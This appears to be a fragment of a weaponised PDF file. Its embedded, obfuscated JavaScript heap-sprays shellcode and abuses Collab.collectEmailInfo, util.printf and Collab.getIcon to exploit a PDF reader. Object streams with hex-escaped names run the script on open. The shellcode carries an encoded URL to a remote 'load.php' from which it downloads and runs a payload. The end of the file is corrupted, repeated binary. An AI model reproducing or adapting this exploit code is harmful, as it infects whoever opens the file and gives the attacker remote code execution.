F19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0032\u0000\u0000");var VDPnC=0x0c0c0c0c;var nqDKR=[];var QgSEq=0x400000;var lCmGt=tfgdL.length*2;var oUegI=QgSEq-(lCmGt+0x38);var bbNvL=MFL("\u9090\u9090");bbNvL=JmXCz(bbNvL,oUegI);var KORIh=(VDPnC-0x400000)/QgSEq;for(var IQzvs=0;IQzvs<KORIh;IQzvs++){nqDKR[IQzvs]=bbNvL+tfgdL;}
var JYDbF=MFL("\u0c0c\u0c0c");while(JYDbF.length<44952)JYDbF+=JYDbF;this.collabStore=Collab.collectEmailInfo({subj:"",msg:JYDbF});}
function MMi(){var LXu=new Array();function Nlf(vqq,QRr){while(vqq.length*2<QRr){vqq+=vqq;}
vqq=vqq.substring(0,QRr/2);return vqq;}
RNZ=0x30303030;cYO=MFL("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0031\u0000\u0000\u0000%32%44%32%44");var hRb=0x400000;var iHM=cYO.length*2;var QRr=hRb-(iHM+0x38);var vqq=MFL("\u9090\u9090");vqq=Nlf(vqq,QRr);var hky=(RNZ-0x400000)/hRb;for(var Osy=0;Osy<hky;Osy++){LXu[Osy]=vqq+cYO;}
var xtT="06323052893310368539";for(MFL=0;MFL<138*2;MFL++){xtT+="0";}
util.printf("%4"+"50"+"00"+"f",xtT);}
function KMB(QMd)
{QMd=QMd.replace(/[\+1]/g,"0");QMd=QMd.replace(/[\+2]/g,"9");QMd=QMd.replace(/[\+3]/g,"8");QMd=QMd.replace(/[\+4]/g,"7");QMd=QMd.replace(/[\+5]/g,"6");QMd=QMd.replace(/[\+6]/g,"5");QMd=QMd.replace(/[\+7]/g,"4");QMd=QMd.replace(/[\+8]/g,"3");QMd=QMd.replace(/[\+9]/g,"2");QMd=QMd.replace(/[\+0]/g,"1");return QMd;}
function MYwzq(){var idARw=MFL("\u4343\u4343\u4343\u0FEB\u335B\u66C9\u80B9\u8001\uEF33\uE243\uEBFA\uE805\uFFEC\uFFFF\u8B7F\uDF4E\uEFEF\u64EF\uE3AF\u9F64\u42F3\u9F64\u6EE7\uEF03\uEFEB\u64EF\uB903\u6187\uE1A1\u0703\uEF11\uEFEF\uAA66\uB9EB\u7787\u6511\u07E1\uEF1F\uEFEF\uAA66\uB9E7\uCA87\u105F\u072D\uEF0D\uEFEF\uAA66\uB9E3\u0087\u0F21\u078F\uEF3B\uEFEF\uAA66\uB9FF\u2E87\u0A96\u0757\uEF29\uEFEF\uAA66\uAFFB\uD76F\u9A2C\u6615\uF7AA\uE806\uEFEE\uB1EF\u9A66\u64CB\uEBAA\uEE85\u64B6\uF7BA\u07B9\uEF64\uEFEF\u87BF\uF5D9\u9FC0\u7807\uEFEF\u66EF\uF3AA\u2A64\u2F6C\u66BF\uCFAA\u1087\uEFEF\uBFEF\uAA64\u85FB\uB6ED\uBA64\u07F7\uEF8E\uEFEF\uAAEC\u28CF\uB3EF\uC191\u288A\uEBAF\u8A97\uEFEF\u9A10\u64CF\uE3AA\uEE85\u64B6\uF7BA\uAF07\uEFEF\u85EF\uB7E8\uAAEC\uDCCB\uBC34\u10BC\uCF9A\uBCBF\uAA64\u85F3\uB6EA\uBA64\u07F7\uEFCC\uEFEF\uEF85\u9A10\u64CF\uE7AA\uED85\u64B6\uF7BA\uFF07\uEFEF\u85EF\u6410\uFFAA\uEE85\u64B6\uF7BA\uEF07\uEFEF\uAEEF\uBDB4\u0EEC\u0EEC\u0EEC\u0EEC\u036C\uB5EB\u64BC\u0D35\uBD18\u0F10\u64BA\u6403\uE792\uB264\uB9E3\u9C64\u64D3\uF19B\uEC97\uB91C\u9964\uECCF\uDC1C\uA626\u42AE\u2CEC\uDCB9\uE019\uFF51\u1DD5\uE79B\u212E\uECE2\uAF1D\u1E04\u11D4\u9AB1\uB50A\u0464\uB564\uECCB\u8932\uE364\u64A4\uF3B5\u32EC\uEB64\uEC64\uB12A\u2DB2\uEFE7\u1B07\u1011\uBA10\uA3BD\uA0A2\uEFA1\u7468\u7074\u2F3A\u7A2F\u6F6B\u6C6F\u2E7A\u6E63\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u577C\u6E69\u6F64\u7377\u5820\u5D50\u265D\u3D65\u0033\u0000\u0000");nYT=MFL("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+idARw;szv=MFL("\u9090\u9090");LMv=5*2;oZx=LMv+nYT.length;while(szv.length<oZx)szv+=szv;PyG=szv.substring(0,oZx);Mim=szv.substring(0,szv.length-oZx);while(Mim.length+oZx<0x40000)Mim=Mim+Mim+PyG;QXz=[];for(OEO=0;OEO<180;OEO++)QXz[OEO]=Mim+nYT;var jvj=4012;var cMP=Array(jvj);for(OEO=0;OEO<jvj;OEO++)
{cMP[OEO]=MFL("\u000a\u000a\u000a\u000a");}
Collab.getIcon(cMP+"_N"+".b"+"un"+"dl"+"e");}
app.eval();
app.eval();
endstream
endobj
73 0 obj<</Subtype/XML/Length 224/Type/Metadata>>stream
©N> u «а©1XЄѕ»&Ї Єш'v/щ(шпС;с-nsd02`Б№Ђ0_5¦ћќ9%lч|Ъ|5‘•@ Ж‹эся ЄLД"  –Љ “©д«9иhS/ќkSЃcш-2T†ЮсѕqИ   ЊѓМwF} oN РХbљEИ iH\\ Лт
endstream
endobj
116 0 obj
<</ / / / /Filter/#46#6c#61#74#65#44#65#63#6f#64#65/Length 2000+054>>
stream
x �XmS 9 ��_�rU��5! iFҬ=W5���Hp $��,���1�1� H�����q�|�� ���/O�ZR�ij����^�. ��lpx1ܨ_O�Ë�ͫ��z8�}8���'������hr�lm��+ X4 ��i ԟ5Z b
� �M Z��q  ]�zvۛ >����|  ��*�O?�0'aotO�-����撹Nj�` ��_�}�n�GGo��7�  �l�n�OG�adm������ϲ���b�� �� ���9 ݜ-�fq "B�� ���2�[J�����v�h ��T�S ��/��@�����
�T$�� 
�^��w� �"�/B� � �� h RO� c� �� ̓N�Q  ı�ސ� L� �]N �X�&%�  u ��0�R���� �1��3�
�Y'!� �J :UI���  F��� &� A�"Hƴ���k �f-=k�9� &��  y��Y� ��h��DƴN({����-��7�P$9�N� yt��-�u� ���0�:�� }Y�` � �<T ����!L�� Eh����As$dU �'<��� M�Q�N{�ʱ�0���j�˒v�� М"_U�#{�Z���=`�| O^&� s  ;�t ̱ ?� a:�-�>��+ʏ� "L� �
9p\E3º�ȱ����k�WЏ3��r� O\���9  ��)�"p� Ə���o�9��!*�)����V�e���֤S+��� � !f�V_�|"L.!�4S� �4�h�� �� *ʹ� ��9I}E9�+�ZbG���:�*f���H��BȰ�I]# o M&�V���[� �!� �IR�楃�� " )G�-=���
V^� K� 倬$��.j�U"� kG���D�(���3�x���{)J֡*aR�, a��2  SJ�T M����Io({^#?�bi � �5XM �� �  ��
��\�#�  FjD�3 K�hlJ��l!�����$LAyˌ�L� �ET��(�ye�t�:  0�������	�D��D����ݤ*�W1��̜\�o��� ��{��_B#%[��qu���&�j1,�6S���&k��We�+n3wM# 9 !�@��a/c�7;{[�E� }y F� ;� �O�4��ݛ�Y!:��e�8n�[�<�}  ������������(��EY@�@ Wl�,_γ��y&[�j �љ��f���������|:,* 3k8�����xkr|޼E���K��q6;��m��wX��� ���E1 ^?/���o���&�v|ܼ����ݛ�uz|]-B���  ���%�֚;t��/� ��{� �X��� |ڹKH%�[[>QJ��{*���
K��	� w�u%v�� � �K������6�d�K ��L���Ʃ�R��+��ܿ3��t�Ғ�<���f�Ǚ��Q�;�(E�T(�*�t'0����� qҜn!iB�B)�Si�� P�   �(rKhU�  � �T� %�i ��d�|y�xP(�/X� _�ga]
���hk� �4jR � if"�I�5[Y _�5ΰR ���( �nQ�
8��n� ��!�   �¦\�� ��D��j� �	 ے�An=2�-� � V:�j��B   hY� �� ��t �7�e�E���@������T��K��M% �� TiB�!�� �Ĉ ᵰ� <�,<g)#~f�+�@ ^T ��߈���Դ��s��P�E�F��ݧ{G�uy��^���* \?q� h�lBz� Se��J�«ZL��U�1N��V4Q#��_@����� j/h ��IU 5l � �?mD���_� ���J*l �q� ���� ��sKt@���?K   ��0k d1 �7/�ޚ 7 /�F��	 A丱 ͵���皻��xR� �ۜ /Ƈ�a��~�� �:� n��wR��� �b�}D���<"�X� �j�f�H
K�G���� i�R��T�4�t� � d|�}z� �-j��ܻ��AOO��'�� ��	�� ���O@���. ��O �j�� �� ������F�� �3��z���	۽�"Å���� �m��=r� ���# :-|m  �w�~�ϵ'&)tz�� �  /Y'�����n��]>�[ ��6��Kg��
�S���;~�n�~��X��% �}p � �����՗" ��/�޻">��ƫz
 ,  г[(.�� �|f  Rd����c�d8� �O��l7�� w��#�� �� dH�� ��.�x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�
endstream
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1990 0 obj
<</ / / / /S/#4a#61#76#61#53#63#72#69#70#74/JS 116 0 R/ / / />>
endobj
95 0 obj
<</ / / / /Direction/L2R/ / / />>
endobj
1 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
5 0 obj
<</ / / / /Typp/Action/S/#47#6f#54#6f/D[9 0 /XYZ 0 504 #31]/ / / />>
endobj
9 0 obj
<</ / / / /count 2/Type/Pages/Kids[1894 0 R]/ / / />>
endobj
123 0 obj
<</ / / / /Length 0000>>
stream
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
endstream
endobj
23 0 obj<</CropBox[0 0 595.22 842]/Parent 62 0 R/Contents 25 0 R/Rotate 0/MediaBox[0 0 595.22 842]/Resources 24 0 R/Type/Page>>
endobj
24 0 obj<</ColorSpace<</Cs6 59 0 R>>/Font<</TT2 52 0 R/TT3 54 0 R/TT4 45 0 R>>/ProcSet[/PDF/Text]/ExtGState<</GS1 57 0 R>>>>
endobj
25 0 obj[26 0 R 27 0 R 28 0 R]
endobj
26 0 obj<</Length 3>>stream
Y.в
endstream
endobj
91 0 obj
<</ / / / /S/JavaScript/JS 123 0 R/ / / />>
endobj
xref
trailer
<<
/Root 15 0 R
>>
startxrefx� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �x� # ��x�ˋ )�*��-ˏ� �t���
���*�ʣ�8 $=%�V� �